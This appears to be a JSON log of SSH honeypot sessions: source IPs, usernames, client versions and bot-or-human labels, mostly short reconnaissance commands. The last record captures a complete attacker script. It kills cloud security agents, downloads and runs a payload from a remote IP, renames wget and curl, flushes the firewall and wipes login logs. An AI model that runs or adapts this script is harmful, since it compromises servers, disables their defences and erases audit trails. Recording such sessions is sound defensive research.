[ { "id": "e5cb93e3-fe08-4cd9-a8d6-7a51bfbb6aab", "name": "reedy-sunlit-shearwater", "protocol": "ssh", "channel_kind": "shell", "src_ip": "216.235.75.158", "src_port": 46410, "username": "ubuntu", "client_version": "SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u6", "auth_attempts": 1, "automation": "unknown", "think_ms": 1, "probe_flagged": 0, "exec_command": null, "started_at": "2026-08-25T20:56:42.268782+00:00", "ended_at": "2026-08-25T20:56:48.863182+00:00", "ended_reason": "logout", "commands": 8, "transcript_bytes": 187 }, { "id": "4141a3a9-0218-48ae-843f-dcf4b0c1d7a3", "name": "forlorn-frugal-ibis", "protocol": "ssh", "channel_kind": "shell", "src_ip": "86.104.23.207", "src_port": 16558, "username": "ubuntu", "client_version": "SSH-2.0-OpenSSH_9.7p1 Debian-5", "auth_attempts": 3, "automation": "unknown", "think_ms": 2, "probe_flagged": 0, "exec_command": null, "started_at": "2026-08-25T17:50:46.023470+00:00", "ended_at": "2026-08-25T17:50:59.908396+00:00", "ended_reason": "logout", "commands": 32, "transcript_bytes": 1850 }, { "id": "e16c6d69-db8f-4701-9f37-114c992aecbc", "name": "alpine-sterling-ermine", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.92.40.35", "src_port": 18572, "username": "oracle", "client_version": "SSH-2.0-Go", "auth_attempts": 1, "automation": "bot", "think_ms": 1906, "probe_flagged": 0, "exec_command": "uname -s -v -n -r -m", "started_at": "2026-08-24T04:02:14.002391+00:00", "ended_at": "2026-08-24T04:02:17.068839+00:00", "ended_reason": "exec complete", "commands": 6, "transcript_bytes": 617 }, { "id": "1634d43b-3728-4abd-81e2-cd42ee773fd4", "name": "creaky-dappled-owl", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.92.40.35", "src_port": 18522, "username": "user", "client_version": "SSH-2.0-Go", "auth_attempts": 1, "automation": "bot", "think_ms": 2507, "probe_flagged": 0, "exec_command": "uname -s -v -n -r -m", "started_at": "2026-08-24T04:02:07.401957+00:00", "ended_at": "2026-08-24T04:02:10.716441+00:00", "ended_reason": "exec complete", "commands": 6, "transcript_bytes": 617 }, { "id": "927317af-b4d0-44fa-bb00-d5dff5edcf1f", "name": "tawny-hazel-moose", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.92.40.29", "src_port": 46122, "username": "ops", "client_version": "SSH-2.0-Go", "auth_attempts": 1, "automation": "bot", "think_ms": 5137, "probe_flagged": 0, "exec_command": "uname -s -v -n -r -m", "started_at": "2026-08-21T04:43:28.233140+00:00", "ended_at": "2026-08-21T04:43:40.584876+00:00", "ended_reason": "exec complete", "commands": 7, "transcript_bytes": 1051 }, { "id": "36798409-705b-446e-9af4-0ba2708d4fb4", "name": "grumpy-mighty-galago", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.92.40.29", "src_port": 48448, "username": "ai", "client_version": "SSH-2.0-Go", "auth_attempts": 1, "automation": "bot", "think_ms": 3260, "probe_flagged": 0, "exec_command": "uname -s -v -n -r -m", "started_at": "2026-08-21T04:43:20.217684+00:00", "ended_at": "2026-08-21T04:43:33.295943+00:00", "ended_reason": "exec complete", "commands": 7, "transcript_bytes": 1054 }, { "id": "272ebda7-70e6-44fa-9e4f-85d99ff88a9a", "name": "candid-obsidian-kingfisher", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.92.40.29", "src_port": 10696, "username": "toto", "client_version": "SSH-2.0-Go", "auth_attempts": 1, "automation": "bot", "think_ms": 4418, "probe_flagged": 0, "exec_command": "uname -s -v -n -r -m", "started_at": "2026-08-21T04:43:09.824052+00:00", "ended_at": "2026-08-21T04:43:27.226431+00:00", "ended_reason": "exec complete", "commands": 7, "transcript_bytes": 1087 }, { "id": "8ff7e0c7-6d51-486e-8ad2-2b1186f48707", "name": "grumpy-grassy-pochard", "protocol": "ssh", "channel_kind": "shell", "src_ip": "87.87.87.87", "src_port": 52845, "username": "admin", "client_version": "SSH-2.0-OpenSSH_for_Windows_9.5", "auth_attempts": 1, "automation": "human", "think_ms": 7219, "probe_flagged": 0, "exec_command": null, "started_at": "2026-08-20T15:35:09.308634+00:00", "ended_at": "2026-08-20T15:46:07.885736+00:00", "ended_reason": "logout", "commands": 36, "transcript_bytes": 3690 }, { "id": "489f4736-5e2c-424d-a43b-57f30f018bb8", "name": "regal-freckled-koala", "protocol": "ssh", "channel_kind": "shell", "src_ip": "87.87.87.87", "src_port": 64318, "username": "admin", "client_version": "SSH-2.0-OpenSSH_for_Windows_9.5", "auth_attempts": 1, "automation": "human", "think_ms": 5071, "probe_flagged": 1, "exec_command": null, "started_at": "2026-08-20T15:27:00.980760+00:00", "ended_at": "2026-08-20T15:39:06.073543+00:00", "ended_reason": "logout", "commands": 24, "transcript_bytes": 1997 }, { "id": "ab0a9ee9-f469-4e2f-a3f7-52ea1c2bb02f", "name": "nautical-valiant-bobcat", "protocol": "ssh", "channel_kind": "shell", "src_ip": "87.87.87.87", "src_port": 57270, "username": "admin", "client_version": "SSH-2.0-OpenSSH_for_Windows_9.5", "auth_attempts": 1, "automation": "human", "think_ms": 9748, "probe_flagged": 0, "exec_command": null, "started_at": "2026-08-20T15:22:09.631207+00:00", "ended_at": "2026-08-20T15:25:10.187577+00:00", "ended_reason": "logout", "commands": 5, "transcript_bytes": 431 }, { "id": "bbc5a6cb-ec84-4089-9d33-a129ba2bcf29", "name": "sturdy-grumpy-plover", "protocol": "ssh", "channel_kind": "shell", "src_ip": "87.87.87.87", "src_port": 56138, "username": "admin", "client_version": "SSH-2.0-OpenSSH_for_Windows_9.5", "auth_attempts": 2, "automation": "human", "think_ms": 6831, "probe_flagged": 0, "exec_command": null, "started_at": "2026-08-20T15:19:45.251737+00:00", "ended_at": "2026-08-20T15:24:57.245548+00:00", "ended_reason": "logout", "commands": 22, "transcript_bytes": 1397 }, { "id": "78679637-e75d-4d05-8d64-5d41f0ab92b9", "name": "hazel-knotted-guanaco", "protocol": "ssh", "channel_kind": "shell", "src_ip": "87.87.87.87", "src_port": 55532, "username": "admin", "client_version": "SSH-2.0-OpenSSH_for_Windows_9.5", "auth_attempts": 1, "automation": "unknown", "think_ms": null, "probe_flagged": 0, "exec_command": null, "started_at": "2026-08-20T15:18:33.991047+00:00", "ended_at": "2026-08-20T15:18:50.644379+00:00", "ended_reason": "logout", "commands": 6, "transcript_bytes": 214 }, { "id": "55002306-5e2a-40a9-8158-7871f285a5dc", "name": "misty-noble-walrus", "protocol": "ssh", "channel_kind": "exec", "src_ip": "172.82.91.35", "src_port": 48980, "username": "root", "client_version": "SSH-2.0-PUTTY", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "#!/bin/sh\n\n\nwdir=\"/tmp\"\nfor i in \"/dev/shm\" \"/tmp\" \"/var/tmp\" \"/home\" \"/root\"; do\n touch \"$i/test_exec\" >/dev/null 2>&1\n chmod +x \"$i/test_exec\" >/dev/null 2>&1\n if [ -w \"$i\" ] && [ -x \"$i/test_exec\" ]; then\n wdir=\"$i\"\n rm -f \"$i/test_exec\"\n break\n fi\n rm -f \"$i/test_exec\" >/dev/null 2>&1\ndone\ncd \"$wdir\" || exit 1\n\n\nfor svc in aegis aliyun YDService tat_agent; do\n systemctl stop $svc >/dev/null 2>&1\n systemctl disable $svc >/dev/null 2>&1\n systemctl mask $svc >/dev/null 2>&1\ndone\nsystemctl daemon-reload >/dev/null 2>&1\n\nif command -v chattr >/dev/null 2>&1; then\n chattr -R -i -a /usr/local/aegis/ >/dev/null 2>&1\n chattr -R -i -a /usr/local/qcloud/ >/dev/null 2>&1\nfi\npkill -9 AliYunDun >/dev/null 2>&1\npkill -9 YDService >/dev/null 2>&1\nrm -rf /usr/local/aegis /usr/local/qcloud >/dev/null 2>&1\n\n\ndownload_vos() {\n local_arch=$(uname -m)\n SERVER_IP=\"172.82.91.35\" \n SERVER_URL=\"http://${SERVER_IP}/new.php?type=${local_arch}\"\n target=\"new.txt\"\n T_LIMIT=30\n\n rm -f \"$target\" >/dev/null 2>&1\n\n\n do_dl() {\n # 1. wget\n if command -v wget >/dev/null 2>&1; then\n wget --no-check-certificate -q -T $T_LIMIT \"$SERVER_URL\" -O \"$target\" >/dev/null 2>&1\n [ -s \"$target\" ] && return 0\n fi\n # 2. curl\n if command -v curl >/dev/null 2>&1; then\n curl -skL -m $T_LIMIT \"$SERVER_URL\" -o \"$target\" >/dev/null 2>&1\n [ -s \"$target\" ] && return 0\n fi\n\n if command -v good >/dev/null 2>&1; then\n good --no-check-certificate -q -T $T_LIMIT \"$SERVER_URL\" -O \"$target\" >/dev/null 2>&1\n [ -s \"$target\" ] && return 0\n fi\n\n if command -v cool >/dev/null 2>&1; then\n cool -skL -m $T_LIMIT \"$SERVER_URL\" -o \"$target\" >/dev/null 2>&1\n [ -s \"$target\" ] && return 0\n fi\n # 5. python3\n if command -v python3 >/dev/null 2>&1; then\n python3 -c \"import urllib.request; urllib.request.urlretrieve('$SERVER_URL', '$target')\" >/dev/null 2>&1\n [ -s \"$target\" ] && return 0\n fi\n # 6. python\n if command -v python >/dev/null 2>&1; then\n python -c \"import urllib; urllib.urlretrieve('$SERVER_URL', '$target')\" >/dev/null 2>&1\n [ -s \"$target\" ] && return 0\n fi\n return 1\n }\n\n\n do_dl &\n dl_pid=$!\n sec=0\n while [ $sec -lt $T_LIMIT ]; do\n if ! kill -0 $dl_pid 2>/dev/null; then\n wait $dl_pid\n break\n fi\n sleep 1\n sec=$((sec + 1))\n done\n kill -9 $dl_pid >/dev/null 2>&1\n\n\n if [ -s \"$target\" ]; then\n chmod +x \"$target\"\n setsid \"./$target\" >/dev/null 2>&1 &\n sleep 1\n if ! pgrep -f \"$target\" >/dev/null; then\n setsid sh \"./$target\" >/dev/null 2>&1 &\n fi\n return 0\n fi\n return 1\n}\n\ndownload_vos\n\n\nlock_tools() {\n if command -v chattr >/dev/null 2>&1; then\n chattr -i /usr/bin/wget /usr/bin/curl >/dev/null 2>&1\n fi\n w_path=$(which wget 2>/dev/null)\n [ -n \"$w_path\" ] && [ \"$(basename \"$w_path\")\" != \"good\" ] && mv \"$w_path\" \"$(dirname \"$w_path\")/good\" >/dev/null 2>&1\n c_path=$(which curl 2>/dev/null)\n [ -n \"$c_path\" ] && [ \"$(basename \"$c_path\")\" != \"cool\" ] && mv \"$c_path\" \"$(dirname \"$c_path\")/cool\" >/dev/null 2>&1\n}\nlock_tools\n\n\nsystemctl stop firewalld ufw >/dev/null 2>&1\niptables -F >/dev/null 2>&1\nfor log in /var/log/wtmp /var/log/btmp /var/log/lastlog; do [ -f \"$log\" ] && echo > \"$log\"; done\n\nsleep 2\nls -la /var/run/gcc.pid\n\n\n", "started_at": "2026-08-20T07:06:45.355737+00:00", "ended_at": "2026-08-20T07:06:47.226527+00:00", "ended_reason": "exec complete", "commands": 2, "transcript_bytes": 3666 } ]